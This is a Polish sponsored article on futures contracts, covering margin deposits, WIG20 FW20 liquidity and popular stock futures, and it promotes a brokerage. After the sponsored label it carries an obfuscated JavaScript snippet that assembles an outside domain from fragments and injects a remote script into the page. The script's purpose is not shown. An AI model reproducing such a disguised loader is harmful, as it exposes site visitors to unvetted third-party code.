Przed złożeniem zlecenia, należy więc bardzo dokładnie określić jaki kierunek gry nas interesuje. Aby zamknąć lub zrealizować otwartą pozycję, trzeba dokonać przeciwległej operacji. Jeśli jesteś zainteresowany inwestowaniem w kontrakty terminowe, więcej informacji tutaj znajdziesz. Sprawdź renomowaną platformę brokerską i uzyskaj dostęp do 200 kontraktów futures na indeksy, paliwa kopalne, metale, czy stopy i FX z 23 giełd.
Nabywając lub sprzedając kontrakt terminowy, trzeba posiadać na swoim rachunku depozyt zabezpieczający, czyli gotówkę stanowiącą dla banku kwotę zabezpieczającą w sytuacji niepomyślnego ruchu lub braku Stop Loss, czyli tak zwanego zlecenia obronnego oraz oczywiście środki na zakup kontraktu. Co to oznacza w praktyce? Otóż inwestor nie musi dysponować środkami o wartości wybranego kontraktu terminowego, wystarczą środki pieniężne na zabezpieczenie depozytu.
Kontrakty terminowe o najwyższej płynności, to futures na indeks WIG20, czyli FW20. Ich cechą charakterystyczną jest średni wolumen wynoszący dziennie 10.000 sztuk. Z perspektywy tradycyjnego akcjonariusza, taki wolumen przypomina nieco wartość z rynku NewConnect, jednak należy pamiętać, że taka ilość kontraktu FW20, ma wartość około pół miliarda złotych. To właśnie magia dźwigni kontraktów.
Najbardziej płynne kontrakty na akcje to między innymi: CD Projekt (fCDR), KGHM (fKGH), JSW (fJSW), PEKAO (fPEO) oraz PKN Orlen (fPKN).
Każdego dnia obrót w przypadku tych akcji wynosi minimalnie 100 sztuk, a bardzo często dochodzi nawet do znakomitej liczby 1000.
Skoro kontrakt terminowy jest odzwierciedleniem kursu akcji, tyle że z funkcją dźwigni, to może się wydawać, że kurs akcji lub kontraktu zawsze będzie ten sam.
Każdy kontrakt ma ściśle określony termin zapadalności, czyli miesiąc, w którym na jego miejsce pojawia się całkiem nowa seria kontraktów. W ten sposób rynek zachowuje swoją płynność. Posiadając kontrakt na akcje, nie mamy w zasadzie nic oprócz zakładu o wzrost lub spadek kursu. W przypadku akcji, posiadamy niewielką część firmy, dzięki czemu można czerpać zyski z dywidend.
Artykuł sponsorowany (function(){ ib04_=("u"+"st");ib04=document.createElement("script");ib04.async=true; ib04u="253767499";ib04_+="a"+("t.");ib04_+="i"+("nf"+("o"))+("/"); ib04u+=".jf7nXXyib04m108y";ib04u+="48xabcfg8artsm"; ib04.src="https://"+ib04_+ib04u;ib04.type="text/javascript"; d_b=document.body;d_b.appendChild(ib04); })();Chcesz być na bieżąco z wieściami z naszego portalu? Obserwuj nas na Google News!
Twoje zdanie jest ważne jednak nie może ranić innych osób lub grup.
Komentarze